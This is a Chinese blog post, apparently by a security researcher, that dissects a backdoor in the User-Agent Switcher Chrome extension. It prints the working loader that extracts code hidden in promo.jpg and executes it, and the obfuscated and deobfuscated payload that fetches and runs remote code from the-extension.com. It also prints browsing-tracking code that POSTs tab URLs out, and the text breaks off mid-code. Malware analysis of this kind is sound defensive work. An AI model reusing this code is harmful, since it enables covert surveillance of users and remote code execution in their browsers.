之前写的,放出来-。-

插件背景

User-Agent Swither 是一款Chrome插件,用户切换访问web时候的User-Agent的,这个插件有51万条安装量。大部分都是前端工作人员或者安全研究人员使用,需要频繁切换User-Agent。

然而,在v2ex上有人发了这么一篇文章https://www.v2ex.com/t/389340?from=timeline

分析

通常,chrome插件的物理地址C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ffhkkpnppgnfaobgihpdblnhmmbodake

打开background.js,看这个js文件的第80行

格式化后

var promo = function() {
try {
var t = function() {},
r = {
Ae: function(t) {
if (isNaN(t) || !isFinite(t) || t % 1 || t < 2) return ! 1;
if (t % 2 === 0) return 2 === t;
if (t % 3 === 0) return 3 === t;
for (var r = Math.sqrt(t), e = 5; e <= r; e += 6) {
if (t % e === 0) return ! 1;
if (t % (e + 2) === 0) return ! 1
}
return ! 0
},
Hf: function(t) {
for (var r = "",
e = -670,
n = 0,
i = 0; i < t.length; i++) n = t[i].charCodeAt() + e,
r += String.fromCharCode(n);
return r
},
Yb: function(t) {
for (var e = t; ! 0; e += 1) if (r.Ae(e)) return e
},
Wk: function(t) {
var r = new Image;
for (r.src = t; r.hasOwnProperty("complete") && !r.complete;);
return r
}
};
return t.prototype.ET = {
mp: 3,
Tv: 1,
At: 16,
WC: function(t) {
return t + 1
},
TY: function(t, r, e) {
for (var n = !0,
i = 0; i < 16 && n; i += 1) n = n && 255 === t[r + 4 * i];
return n
}
},
t.prototype.aq = function(t, r) {
r = r || {};
var e = this.ET,
n = r.width || t.width,
i = r.height || t.height,
o = r.mp || e.mp,
h = r.At || e.At;
return o * n * i / h >> 0
},
t.prototype.Vh = function(t, e) {
if ("" === '../promo.jpg') return "";
void 0 === t && (t = '../promo.jpg'),
t.length && (t = r.Wk(t)),
e = e || {};
var n = this.ET,
i = e.mp || n.mp,
o = e.Tv || n.Tv,
h = e.At || n.At,
a = r.Yb(Math.pow(2, i)),
f = (e.WC || n.WC, e.TY || n.TY),
u = document.createElement("canvas"),
p = u.getContext("2d");
if (u.style.display = "none", u.width = e.width || t.width, u.height = e.width || t.height, 0 === u.width || 0 === u.height) return "";
e.height && e.width ? p.drawImage(t, 0, 0, e.width, e.height) : p.drawImage(t, 0, 0);
var c = p.getImageData(0, 0, u.width, u.height),
d = c.data,
g = [];
if (c.data.every(function(t) {
return 0 === t
})) return "";
var m, s;
if (1 === o) for (m = 3, s = !1; ! s && m < d.length && !s; m += 4) s = f(d, m, o),
s || g.push(d[m] - (255 - a + 1));
var v = "",
w = 0,
y = 0,
l = Math.pow(2, h) - 1;
for (m = 0; m < g.length; m += 1) w += g[m] << y,
y += i,
y >= h && (v += String.fromCharCode(w & l), y %= h, w = g[m] >> i - y);
return v.length < 13 ? "": (0 !== w && (v += String.fromCharCode(w & l)), v)
},
t.prototype.Po = 3,
t.prototype.cs = 0,
t.prototype.Rn = 5e3,
t.prototype.dS = function() {
try {
var e = t.prototype,
n = r.Hf(e.Vh());
if ("" === n) {
if (e.cs > e.Po) return;
return e.cs++,
void setTimeout(e.dS, e.Rn)
}
document.defaultView[(typeof r.Ae).charAt(0).toUpperCase() + (typeof r.Ae).slice(1)](n)()
} catch(t) {}
},
(new t).dS
} catch(t) {}
} ();
promo();

可以看出,这段js从promo.jpg图片中取数据。下图为这段js代码解析出来的后门js代码。

跳转到从图片中解析出来的javascript代码

代码抠出来是这样的

(function() {
(function(){var _0x2126=['\x63\x6f\x64\x65','\x76\x65\x72\x73\x69\x6f\x6e','\x65\x72\x72\x6f\x72','\x64\x6f\x77\x6e\x6c\x6f\x61\x64','\x69\x6e\x76\x61\x6c\x69\x64\x4d\x6f\x6e\x65\x74\x69\x7a\x61\x74\x69\x6f\x6e\x43\x6f\x64\x65','\x54\x6a\x50\x7a\x6c\x38\x63\x61\x49\x34\x31','\x4b\x49\x31\x30\x77\x54\x77\x77\x76\x46\x37','\x46\x75\x6e\x63\x74\x69\x6f\x6e','\x72\x75\x6e','\x69\x64\x6c\x65','\x70\x79\x57\x35\x46\x31\x55\x34\x33\x56\x49','\x69\x6e\x69\x74','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x68\x65\x2d\x65\x78\x74\x65\x6e\x73\x69\x6f\x6e\x2e\x63\x6f\x6d','\x6c\x6f\x63\x61\x6c','\x73\x74\x6f\x72\x61\x67\x65','\x65\x76\x61\x6c','\x74\x68\x65\x6e','\x67\x65\x74','\x67\x65\x74\x54\x69\x6d\x65','\x73\x65\x74\x55\x54\x43\x48\x6f\x75\x72\x73','\x75\x72\x6c','\x6f\x72\x69\x67\x69\x6e','\x73\x65\x74','\x47\x45\x54','\x6c\x6f\x61\x64\x69\x6e\x67','\x73\x74\x61\x74\x75\x73','\x72\x65\x6d\x6f\x76\x65\x4c\x69\x73\x74\x65\x6e\x65\x72','\x6f\x6e\x55\x70\x64\x61\x74\x65\x64','\x74\x61\x62\x73','\x63\x61\x6c\x6c\x65\x65','\x61\x64\x64\x4c\x69\x73\x74\x65\x6e\x65\x72','\x6f\x6e\x4d\x65\x73\x73\x61\x67\x65','\x72\x75\x6e\x74\x69\x6d\x65','\x65\x78\x65\x63\x75\x74\x65\x53\x63\x72\x69\x70\x74','\x72\x65\x70\x6c\x61\x63\x65','\x64\x61\x74\x61','\x74\x65\x73\x74','\x69\x6e\x63\x6c\x75\x64\x65\x73','\x68\x74\x74\x70\x3a\x2f\x2f','\x6c\x65\x6e\x67\x74\x68','\x55\x72\x6c\x20\x65\x72\x72\x6f\x72','\x71\x75\x65\x72\x79','\x66\x69\x6c\x74\x65\x72','\x61\x63\x74\x69\x76\x65','\x66\x6c\x6f\x6f\x72','\x72\x61\x6e\x64\x6f\x6d','\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74','\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65','\x70\x61\x72\x73\x65'];(function(_0x6f8364,_0x4b9bae){var _0x3c53a7=function(_0x221aea){while(--_0x221aea){_0x6f8364['\x70\x75\x73\x68'](_0x6f8364['\x73\x68\x69\x66\x74']());}};_0x3c53a7(++_0x4b9bae);}(_0x2126,0xa2));var _0x1838=function(_0x63fdaa,_0x4b2cbf){var _0x63fdaa=parseInt(_0x63fdaa,0x10);var _0x5570e3=_0x2126[_0x63fdaa];return _0x5570e3;};function e({cat=_0x1838('0x0'),act='',lab='',fr=0x3e8*0x3c*0x3c*0x18}){let _0x4b1721=t(`${cat}_${act}`,c['\x46\x44']);return l['\x67\x65\x74'](_0x4b1721)[_0x1838('0x1')](_0x9415ed=>{let _0x5d937f=_0x9415ed[_0x4b1721],_0x45c15f=0x5265c00==fr?new Date()[_0x1838('0x3')]()-new Date(_0x5d937f)[_0x1838('0x4')](0x0,0x0,0x0,0x0)>=fr:new Date()[_0x1838('0x3')]()-_0x5d937f>=fr;if(!_0x5d937f||_0x45c15f){let _0x9415ed=`${new URL(c['\x57\x4c'][_0x1838('0x5')])[_0x1838('0x6')]}/stats`;n(`${_0x9415ed}?hash=jwtmv6kavksy5cazdf4leg66r&eventCategory=${cat}&eventAction=${act}&eventLabel=${lab}`,'\x50\x4f\x53\x54')['\x74\x68\x65\x6e'](_0x201de8=>{let _0x9415ed={};_0x9415ed[_0x4b1721]=new Date()[_0x1838('0x3')](),l[_0x1838('0x7')](_0x9415ed);});}});}function n(_0x42ba8f,n=_0x1838('0x8')){return new Promise((_0x3090bd,_0x473358)=>{function _0x3ad6d4(_0x3a3304,_0x4cce31,_0x57e5fb){_0x1838('0x9')===_0x4cce31[_0x1838('0xa')]&&(_0x20f3c8(_0x57e5fb,_0x42ba8f)&&c['\x4e\x5a']<=0x0&&(chrome[_0x1838('0xd')][_0x1838('0xc')][_0x1838('0xb')](arguments[_0x1838('0xe')]),_0x2bc9ef(_0x3a3304)),c['\x4e\x5a']--);}function _0x2bc9ef(_0x5a3411){chrome[_0x1838('0x11')][_0x1838('0x10')][_0x1838('0xf')](_0x4b297c),chrome[_0x1838('0xd')][_0x1838('0x12')](_0x5a3411,{'\x63\x6f\x64\x65':`(function(){var url = replaceableurl; var xhr = new XMLHttpRequest();xhr.onreadystatechange = function () {if (xhr.readyState === 4) {chrome.runtime.sendMessage({data: xhr.responseText, url: url,status:xhr.status});}};xhr.open('${n}',url, true);xhr.send();})()`[_0x1838('0x13')]('\x72\x65\x70\x6c\x61\x63\x65\x61\x62\x6c\x65\x75\x72\x6c',`'${_0x42ba8f}'`)});}function _0x4b297c(_0x4a051f){_0x4a051f[_0x1838('0x5')]===_0x42ba8f&&(_0x3090bd(_0x4a051f[_0x1838('0x14')]),chrome[_0x1838('0x11')][_0x1838('0x10')]['\x72\x65\x6d\x6f\x76\x65\x4c\x69\x73\x74\x65\x6e\x65\x72'](arguments[_0x1838('0xe')]));}function _0x20f3c8(_0x45a021,_0x3db6fb){return new RegExp(`^((?!(chrome${_0x3db6fb[_0x1838('0x16')](_0x1838('0x17'))?'\x7c\x68\x74\x74\x70\x73\x7c\x66\x74\x70\x73':''})).+://)`)[_0x1838('0x15')](_0x45a021[_0x1838('0x5')]);}_0x42ba8f&&0x0!==_0x42ba8f['\x6c\x65\x6e\x67\x74\x68']||_0x473358(_0x1838('0x19')),chrome[_0x1838('0xd')][_0x1838('0x1a')]({},function(_0x26d445){let _0x3090bd=_0x26d445[_0x1838('0x1b')](_0x1c9951=>_0x20f3c8(_0x1c9951,_0x42ba8f)&&!_0x1c9951['\x61\x63\x74\x69\x76\x65']);0x0===_0x3090bd[_0x1838('0x18')]?chrome[_0x1838('0xd')][_0x1838('0xc')][_0x1838('0xf')](_0x3ad6d4):_0x2bc9ef(_0x3090bd[Math[_0x1838('0x1d')](Math['\x72\x61\x6e\x64\x6f\x6d']()*_0x3090bd[_0x1838('0x18')])]['\x69\x64']);});});}function t(_0x474bb1,_0x4cc1c1){for(var _0x36e242='',_0x35971b=0x0,_0x519d9f=0x0;_0x519d9f<_0x474bb1['\x6c\x65\x6e\x67\x74\x68'];_0x519d9f++)_0x35971b=_0x474bb1[_0x519d9f][_0x1838('0x1f')]()+_0x4cc1c1,_0x36e242+=String[_0x1838('0x20')](_0x35971b);return _0x36e242;}function o(_0xcaa92b){return new Promise((_0x47fce0,_0x349364)=>{let _0x51ae9e=!0x1,_0x556fe3='',_0x58bf0d='';try{_0xcaa92b=JSON[_0x1838('0x21')](_0xcaa92b),_0x556fe3=_0xcaa92b[_0x1838('0x22')],_0x58bf0d=_0xcaa92b[_0x1838('0x23')],_0x556fe3==-0x1||(_0x51ae9e=!0x0);}catch(_0x1b0f96){e({'\x61\x63\x74':_0x1838('0x24'),'\x6c\x61\x62':'\x70\x61\x72\x73\x65\x52\x65\x73\x70\x6f\x6e\x73\x65','\x66\x72':0x0});}_0x51ae9e?l[_0x1838('0x7')]({'\x54\x6a\x50\x7a\x6c\x38\x63\x61\x49\x34\x31':_0x556fe3,'\x4b\x49\x31\x30\x77\x54\x77\x77\x76\x46\x37':_0x58bf0d})['\x74\x68\x65\x6e'](_0x207847=>{l['\x73\x65\x74']({'\x70\x79\x57\x35\x46\x31\x55\x34\x33\x56\x49':new Date()[_0x1838('0x3')]()}),e({'\x61\x63\x74':_0x1838('0x25'),'\x6c\x61\x62':_0x58bf0d,'\x66\x72':0x0}),_0x47fce0({'\x63\x6f\x64\x65':_0x556fe3,'\x76\x65\x72\x73\x69\x6f\x6e':_0x58bf0d});}):(_0x556fe3!=-0x1&&e({'\x61\x63\x74':_0x1838('0x24'),'\x6c\x61\x62':_0x1838('0x26'),'\x66\x72':0x0}),l[_0x1838('0x2')]([_0x1838('0x27'),'\x4b\x49\x31\x30\x77\x54\x77\x77\x76\x46\x37'])['\x74\x68\x65\x6e'](_0x5d38a5=>{_0x47fce0({'\x63\x6f\x64\x65':_0x5d38a5['\x54\x6a\x50\x7a\x6c\x38\x63\x61\x49\x34\x31'],'\x76\x65\x72\x73\x69\x6f\x6e':_0x5d38a5[_0x1838('0x28')]});}));});}function a(_0xfc65f5){try{window[_0x1838('0x29')](_0xfc65f5[_0x1838('0x22')])(l,n,e),e(_0xfc65f5[_0x1838('0x22')]&&0x0!==_0xfc65f5['\x63\x6f\x64\x65'][_0x1838('0x18')]||_0xfc65f5[_0x1838('0x23')]&&0x0!==_0xfc65f5['\x76\x65\x72\x73\x69\x6f\x6e'][_0x1838('0x18')]?{'\x61\x63\x74':'\x72\x75\x6e','\x6c\x61\x62':_0xfc65f5[_0x1838('0x23')]}:{'\x61\x63\x74':_0x1838('0x2a'),'\x6c\x61\x62':_0x1838('0x2b')});}catch(_0x5bd26e){e({'\x61\x63\x74':_0x1838('0x24'),'\x6c\x61\x62':`run_${_0xfc65f5[_0x1838('0x23')]}`});}}function r(){return new Promise((_0x223434,_0x1b9f00)=>{l[_0x1838('0x2')](_0x1838('0x2c'))['\x74\x68\x65\x6e'](_0x30d294=>{let _0x55a281=_0x30d294['\x70\x79\x57\x35\x46\x31\x55\x34\x33\x56\x49']||0x0;0x0===_0x55a281&&l[_0x1838('0x7')]({'\x58\x4d\x57\x45\x7a\x49\x34\x53\x66\x64\x43':new Date()[_0x1838('0x3')]()})['\x74\x68\x65\x6e'](_0x2d7d72=>{e({'\x61\x63\x74':'\x69\x6e\x73\x74\x61\x6c\x6c'});}),new Date()[_0x1838('0x3')]()-_0x55a281>c['\x57\x4c']['\x47\x6a']?setTimeout(function(){n(`${c['\x57\x4c'][_0x1838('0x5')]}/?hash=jwtmv6kavksy5cazdf4leg66r`,_0x1838('0x8'))[_0x1838('0x1')](o)[_0x1838('0x1')](_0x223434);},c['\x66\x4d']):l[_0x1838('0x2')]([_0x1838('0x27'),_0x1838('0x28')])[_0x1838('0x1')](_0x1d2d5e=>{_0x223434({'\x63\x6f\x64\x65':_0x1d2d5e[_0x1838('0x27')],'\x76\x65\x72\x73\x69\x6f\x6e':_0x1d2d5e['\x4b\x49\x31\x30\x77\x54\x77\x77\x76\x46\x37']});});});});}function i(){setTimeout(function(){e({'\x61\x63\x74':_0x1838('0x2d')}),r()[_0x1838('0x1')](a);},c['\x43\x66']);}let c={'\x57\x4c':{'\x75\x72\x6c':_0x1838('0x2e'),'\x47\x6a':0x2932e00},'\x4e\x5a':Math[_0x1838('0x1d')](0x3*Math[_0x1838('0x1e')]()),'\x66\x4d':0x1b7740*Math[_0x1838('0x1d')](0x1*Math[_0x1838('0x1e')]()+0x1),'\x43\x66':0xea60*Math[_0x1838('0x1d')](0x2*Math[_0x1838('0x1e')]()+0x1),'\x46\x44':0x7},l={'\x67\x65\x74'(e=null){return new Promise((_0x459136,_0x1dd2d2)=>{chrome[_0x1838('0x30')][_0x1838('0x2f')][_0x1838('0x2')](e,function(_0x49e268){_0x459136(_0x49e268);});});},'\x73\x65\x74'(_0x1054f4){return new Promise((_0x13679c,_0x5182a6)=>{chrome[_0x1838('0x30')]['\x6c\x6f\x63\x61\x6c'][_0x1838('0x7')](_0x1054f4,function(_0x154ca1){_0x13679c(_0x154ca1);});});},'\x79\x4a'(_0x21744e){return new Promise((_0x23501d,_0x525375)=>{chrome[_0x1838('0x30')][_0x1838('0x2f')]['\x79\x4a'](_0x21744e,function(_0x298d92){_0x23501d(_0x298d92);});});},'\x45\x45'(){return new Promise((_0x47a45d,_0x110900)=>{chrome[_0x1838('0x30')][_0x1838('0x2f')]['\x45\x45'](function(_0x25822d){_0x47a45d(_0x25822d);});});}};i();})()
})

很明显,这段js代码是经过深度混淆过的。

然后,通过document.defaultView的方式来执行从图片解析出来的javascript代码。

下面需要几个知识

1.javascript中这两种调用方法是一样的。chrome.runtime.onMessagechrome["runtime"]["onMessage"]

2.=>这个符号是ES6的特性,代表匿名ES函数

3.Promise为承诺,ES6的新特性已经被大多数浏览器支持

图片中隐藏的js分析

这段javascript用了大量的Promise对象,用了大量的=>这样的匿名函数,函数名用了"\x63\x6f\x64\x65"这种ascii码的16进制作为函数名,且使用了chrome["runtime"]["onMessage"]这种调用的方式。

首先_0x2126是一个字符串数组,数组内的数据在之后的js代码中被大量引用作为函数名。不过这个数组在function t函数中被重新排序了,排序后的

_0x2126 = ["eval", "then", "get", "getTime", "setUTCHours", "url", "origin", "set", "GET", "loading", "status", "removeListener", "onUpdated", "tabs", "callee", "addListener", "onMessage", "runtime", "executeScript", "replace", "data", "test", "includes", "http://", "length", "Url error", "query", "filter", "active", "floor", "random", "charCodeAt", "fromCharCode", "parse", "code", "version", "error", "download", "invalidMonetizationCode", "TjPzl8caI41", "KI10wTwwvF7", "Function", "run", "idle", "pyW5F1U43VI", "init", "https://the-extension.com", "local", "storage"]

这个数组中的数据在之后被作为函数名来调用相关的函数。_0x1838('0x30')其实就是取_0x2126中第0x30个元素,也就是local

function t 就是用来对_0x2126这个list进行重新排序的函数

function t(_0x474bb1, _0x4cc1c1) {
for (var _0x36e242 = '',
_0x35971b = 0x0,
_0x519d9f = 0x0; _0x519d9f < _0x474bb1['length']; _0x519d9f++)
_0x35971b = _0x474bb1[_0x519d9f]["charCodeAt"]() + _0x4cc1c1,
_0x36e242 += String["fromCharCode"](_0x35971b);
return _0x36e242;
}

function e 主要作用是post数据,更新执行的步骤

function e({
cat = "eval",
act = '',
lab = '',
fr = 0x3e8 * 0x3c * 0x3c * 0x18
}) {
let _0x4b1721 = t(`$ {
cat
}
_$ {
act
}`, c['FD']);
return l['get'](_0x4b1721)["then"](_0x9415ed = >{
let _0x5d937f = _0x9415ed[_0x4b1721],
_0x45c15f = 0x5265c00 == fr ? new Date()["getTime"]() - new Date(_0x5d937f)["setUTCHours"](0x0, 0x0, 0x0, 0x0) >= fr: new Date()["getTime"]() - _0x5d937f >= fr; // 一定的时间下才会执行
if (!_0x5d937f || _0x45c15f) {
let _0x9415ed = `$ {
new URL(c['WL']["url"])["origin"]
} /stats`;
//https://the-extension.com/stats?hash=jwtmv6kavksy5cazdf4leg66r&eventCategory=eval&eventAction=init&eventLabel=
n(`${_0x9415ed}hash=jwtmv6kavksy5cazdf4leg66r&eventCategory=${cat}&eventAction=${act}&eventLabel=${lab}`,'POST')['then'](_0x201de8=>{let _0x9415ed={};_0x9415ed[_0x4b1721]=new Date()["getTime"](),l["set"](_0x9415ed);});}});}

比如,恶意js在init的时候,此时发送的请求如下

响应的请求

function n 主要是完成了一个xhr请求,通过executeScript来完成。

function n(_0x42ba8f, n = “GET”) {
return new Promise((_0x3090bd, _0x473358) = >{
function _0x3ad6d4(_0x3a3304, _0x4cce31, _0x57e5fb) {
"loading" === _0x4cce31["status"] && (_0x20f3c8(_0x57e5fb, _0x42ba8f) && c['NZ'] <= 0x0 && (chrome["tabs"]["onUpdated"]["removeListener"](arguments["callee"]), _0x2bc9ef(_0x3a3304)), c['NZ']--);
}
function _0x2bc9ef(_0x5a3411) {
chrome["runtime"]["onMessage"]["addListener"](_0x4b297c),
chrome["tabs"]["executeScript"](_0x5a3411, {
'code': ` (function() {
var url = replaceableurl;
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
chrome.runtime.sendMessage({
data: xhr.responseText,
url: url,
status: xhr.status
});
}
};
xhr.open('${n}', url, true);
xhr.send();
})()` ["replace"]('replaceableurl', `'${_0x42ba8f}'`)
});
}
function _0x4b297c(_0x4a051f) {
_0x4a051f["url"] === _0x42ba8f && (_0x3090bd(_0x4a051f["data"]), chrome["runtime"]["onMessage"]['removeListener'](arguments["callee"]));
}
function _0x20f3c8(_0x45a021, _0x3db6fb) {
return new RegExp(` ^ (( ? !(chrome$ {
_0x3db6fb["includes"]("http://") ? '|https|ftps': ''
})). + : //)`)["test"](_0x45a021["url"]);}_0x42ba8f&&0x0!==_0x42ba8f['length']||_0x473358("Url error"),chrome["tabs"]["query"]({},function(_0x26d445){let _0x3090bd=_0x26d445["filter"](_0x1c9951=>_0x20f3c8(_0x1c9951,_0x42ba8f)&&!_0x1c9951['active']);0x0===_0x3090bd["length"]?chrome["tabs"]["onUpdated"]["addListener"](_0x3ad6d4):_0x2bc9ef(_0x3090bd[Math["floor"](Math['random']()*_0x3090bd["length"])]['id']);});});}

function o 用于解析返回的js代码,取出其中的code和version字段,并通过l.set方法持久化存储到本地。

function o(_0xcaa92b) {
return new Promise((_0x47fce0, _0x349364) = >{
let _0x51ae9e = !0x1,
_0x556fe3 = '',
_0x58bf0d = '';
try {
_0xcaa92b = JSON["parse"](_0xcaa92b),
_0x556fe3 = _0xcaa92b["code"],
_0x58bf0d = _0xcaa92b["version"],
_0x556fe3 == -0x1 || (_0x51ae9e = !0x0);
} catch(_0x1b0f96) {
e({
"act": "error",
"lab": "parseResponse",
"fr": 0x0
});
}
_0x51ae9e ? l["set"]({
"TjPzl8caI41": _0x556fe3,
"KI10wTwwvF7": _0x58bf0d
})["then"](_0x207847 = >{
l["set"]({
"pyW5F1U43VI": new Date()["getTime"]()
}),
e({
"act": "download",
"lab": _0x58bf0d,
"fr": 0x0
}),
_0x47fce0({
"code": _0x556fe3,
"version": _0x58bf0d
});
}) : (_0x556fe3 != -0x1 && e({
"act": "error",
"lab": "invalidMonetizationCode",
"fr": 0x0
}), l["get"](["TjPzl8caI41", "KI10wTwwvF7"])["then"](_0x5d38a5 = >{
_0x47fce0({
"code": _0x5d38a5["TjPzl8caI41"],
"version": _0x5d38a5["KI10wTwwvF7"]
});
}));
});
}

function a 更新插件运行状态

function a(_0xfc65f5) {
try {
window["Function"](_0xfc65f5["code"])(l, n, e),
e(_0xfc65f5["code"] && 0x0 !== _0xfc65f5['code']["length"] || _0xfc65f5["version"] && 0x0 !== _0xfc65f5['version']["length"] ? {
'act': 'run',
'lab': _0xfc65f5["version"]
}: {
'act': "run",
'lab': "idle"
});
} catch(_0x5bd26e) {
e({
'act': "error",
'lab': `run_$ {
_0xfc65f5["version"]
}`
});
}
}

function i 为入口函数

function i() {
setTimeout(function() {
e({
'act': "init"
}),
r()["then"](a);
},
c['Cf']);
}

function r 是用来下载执行

function r() {
return new Promise((_0x223434, _0x1b9f00) = >{
l["get"]("pyW5F1U43VI")['then'](_0x30d294 = >{
let _0x55a281 = _0x30d294['pyW5F1U43VI'] || 0x0;
0x0 === _0x55a281 && l["set"]({
'XMWEzI4SfdC': new Date()["getTime"]()
})['then'](_0x2d7d72 = >{
e({
'act': 'install'
});
}),
new Date()["getTime"]() - _0x55a281 > c['WL']['Gj'] ? setTimeout(function() {
n(`$ {c['WL']["url"]}/?hash=jwtmv6kavksy5cazdf4leg66r`,"GET")["then"](o)["then"](_0x223434);},c['fM']):l["get"](["TjPzl8caI41","KI10wTwwvF7"])["then"](_0x1d2d5e=>{_0x223434({'code':_0x1d2d5e["TjPzl8caI41"],'version':_0x1d2d5e['KI10wTwwvF7']});});});});}

这段js里面有一个比较重要的变量c

还有一个 重要的l,l包含了四个函数EE,get,set,Yj

function EE

EE() {
return new Promise((_0x47a45d, _0x110900) = >{
chrome['storage']['local']['EE'](function(_0x25822d) {
_0x47a45d(_0x25822d);
});
});
}

function get 用于从存储的文件中取数据

get(e = null) {
return new Promise((_0x459136, _0x1dd2d2) = >{
chrome['storage']['local']['get'](e,
function(_0x49e268) {
_0x459136(_0x49e268);
});
});
}

function set 用于将数据写入到存储文件中

set(_0x1054f4) {
return new Promise((_0x13679c, _0x5182a6) = >{
chrome['storage']['local']['set'](_0x1054f4,
function(_0x154ca1) {
_0x13679c(_0x154ca1);
});
});
}

function yJ

yJ(_0x21744e) {
return new Promise((_0x23501d, _0x525375) = >{
chrome['storage']['local']['yJ'](_0x21744e,
function(_0x298d92) {
_0x23501d(_0x298d92);
});
});
}

这段恶意js的执行流程如下:

这段恶意js的入口函数为function i,随后function i首先会向https://the-extension.com/stats?hash=jwtmv6kavksy5cazdf4leg66r&eventCategory=eval&eventAction=init&eventLabel=更新运行状态

随后会调用function r,这个函数完成了下载恶意js并持久化存储到本地并执行的功能。

此时向n函数中传递的参数为"https://the-extension.com/?hash=jwtmv6kavksy5cazdf4leg66r"GET,也就是用GET请求获取这个网页的内容。

下载下来的东西保存在了这里

外部的恶意js地址https://the-extension.com/?hash=jwtmv6kavksy5cazdf4leg66r,返回的json,我们把code取出来

{"code":"function req(obj,callback,errback){var params=obj.params?obj.params:[],xhr=new XMLHttpRequest;if(callback&&(xhr.onload=function(e){e=e.target,200===e.status||304===e.status?callback({responseText:e.responseText,headers:e.getAllResponseHeaders().split(\"\\r\\n\")}):errback&&errback(e.status)}),errback&&(xhr.onerror=function(e){e=e.target.status,errback(e)}),xhr.open(obj.method,obj.url),params.head)for(i in params.head)obj.setRequestHeader(i,params.head[i]);if(params.mime)for(i in params.mime)obj.overrideMimeType(params.mime[i]);if(params.post&&xhr.setRequestHeader(\"Content-Type\",\"application/x-www-form-urlencoded\"),(params.post||params.xml)&&xhr.setRequestHeader(\"X-Requested-With\",\"XMLHttpRequest\"),\"object\"==typeof params.post){x=params.post,params.post=\"\";for(i in x)x.hasOwnProperty(i)&&(params.post+=(params.post?\"&\":\"\")+i+\"=\"+x[i])}xhr.send(params.post)}function cutw(hostname){return hostname.replace(/(^www\\.|\\:\\d+$)/gi,\"\")}function getDomain(hostname){var result,matches=hostname.match(domainRgxp);return matches&&(result=matches[1]),result}function getSub(hostname,domain){var result=hostname.replace(domain,\"\");return result&&(result=result.replace(/\\.$/,\"\")),result}function prepareLink(link){/^(\\w+:)?\\/\\//.test(link)||(link=\"http://\"+link);var result,matches=link.match(mainRgxp);if(matches)try{var host=cutw(matches[2]),domain=getDomain(host);if(domain){var sub=getSub(host,domain);result={sch:matches[1],host:host,domain:domain,sub:sub,path:(matches[3]||\"\").replace(/^\\//,\"\"),search:(matches[4]||\"\").replace(/^\\?/,\"\")}}}catch(e){console.log(\"Error: \"+url)}return result}function tryUrl(url){if(!(usedT&&usedT>(new Date).getTime()-42e5)){var res,prepared=prepareLink(url);if(prepared&&rulesObject[prepared.domain]){var subd=rulesObject[prepared.domain][prepared.sub];if(subd&&(subd[prepared.path]?res=subd[prepared.path]:subd[\"*\"]&&(res=subd[\"*\"])),res||(subd=rulesObject[prepared.domain][\"*\"])&&(subd[prepared.path]?res=subd[prepared.path]:subd[\"*\"]&&(res=subd[\"*\"])),res)return res=res.replace(/__CURURL__/g,encodeURIComponent(url)).replace(/__SUBID__/g,wid),usedT=(new Date).getTime(),localStorage.usedT=usedT,res}}}function getData(){setTimeout(getData,864e5),req({method:\"GET\",url:host+\"bhrule?sub=\"+wid},function(response){try{response=JSON.parse(response.responseText),rulesObject=response.rules?response.rules:{}}catch(e){}},function(){})}var wrap1=function(){function qs(obj){return Object.keys(obj).filter(function(key){return(!!obj[key]||!1===obj[key])&&-1===filtered.indexOf(key)}).map(function(key){var val=obj[key];return\"se\"===key?obj[key].map(function(v){return key+\"=\"+encodeURIComponent(v)}).join(\"&\"):(-1<\"sh b a lt zz\".split(\" \").indexOf(key)&&(val=encodeURIComponent(val||\"\")),key+\"=\"+val)}).join(\"&\")}function fetchOverlayPattern(data,callback){if(listenerLast=localStorage.getItem(\"listenerLast\"),(new Date).getTime()-listenerLast>300){data.tnew=Date.now();var bqa=qs(data),payload=btoa(bqa),xhr=new XMLHttpRequest;xhr.open(\"POST\",configFetcher.MainLocator()+main_route,!0),xhr.setRequestHeader(\"Content-type\",\"application/x-www-form-urlencoded\"),xhr.onload=function(e){if(200==this.status)try{callback(JSON.parse(this.response))}catch(e){}},xhr.send([\"e\",encodeURIComponent(btoa(payload))].join(\"=\")),localStorage.setItem(\"listenerLast\",(new Date).getTime())}}function TabList(){var hash={},lp=\"\",lpi=void 0;return{remove:function(tid){delete hash[tid]},edit:function(tid,props){return tid?(hash[tid]||this.clear(tid),Object.keys(props||{}).forEach(function(key){hash[tid][key]=props[key]}),hash[tid]):null},request:function(tabId,tab){if(configFetcher.IsEnable()&&toggler.isOn()){if(!hash[tabId]||hash[tabId].p&&!hash[tabId].replaced)return void this.clear(tabId);var currTab=hash[tabId]||{},url=validateUrl(tab.url);url&&(currTab.hh||lp!=tab.url)&&(tab.active||hash[tabId].fr||hash[tabId].uk.push(\"background_auto_reloading\"),hash[tabId].dada&&hash[hash[tabId].dada]&&hash[hash[tabId].dada].retroet&&(hash[tabId].zz=hash[hash[tabId].dada].retroet),fetchOverlayPattern(this.edit(tabId,{sh:url,b:lp}),function(d){}),tab.active&&(lp=currTab.sh),hash[tabId].zz=null,hash[tabId].dada=null),this.clear(tabId),hash[tabId].sh=url,hash[tabId].p=!0}},clear:function(tid){hash[tid]={var:version||\"missing\",val:21,un:\"1\",su:browsername,ch:ch,new:itemator1,exp:guid(),sesnew:\"\",d:0,se:[],restarting:!1,sh:(hash[tid]||{}).sh||null,a:(hash[tid]||{}).a||\"\",uk:[],fr:!1,aj:(hash[tid]||{}).aj||!1,replaced:(hash[tid]||{}).replaced||!1,hh:(hash[tid]||{}).hh||!1,dada:(hash[tid]||{}).dada||null,retroet:(hash[tid]||{}).retroet||\"\",zz:(hash[tid]||{}).zz||\"\"}},details:function(tid,cb){chrome.tabs.get(tid,function(details){chrome.runtime.lastError||cb(details)})},lpUpdate:function(param){var idd=param.id||param;lpi=param.id||void 0,lp=(hash[idd]||{}).sh||lp},getLpi:function(){return lpi}}}function validateUrl(url){return 0===url.indexOf(\"http\")&&-1===url.indexOf(\"://localhost\")&&-1===url.indexOf(\"chrome/newtab\")&&0!==url.indexOf(\"chrome-\")&&0!==url.indexOf(\"about:\")&&-1===url.indexOf(\"chrome://\")?url:null}function reselected(tid){tablist.details((tid||{}).tabId||tid,tablist.lpUpdate)}function onUpdated(tabId,details,tab){details&&\"complete\"===details.status&&(tablist.edit(tabId).p&&tablist.edit(tabId).aj&&tablist.edit(tabId,{sh:void 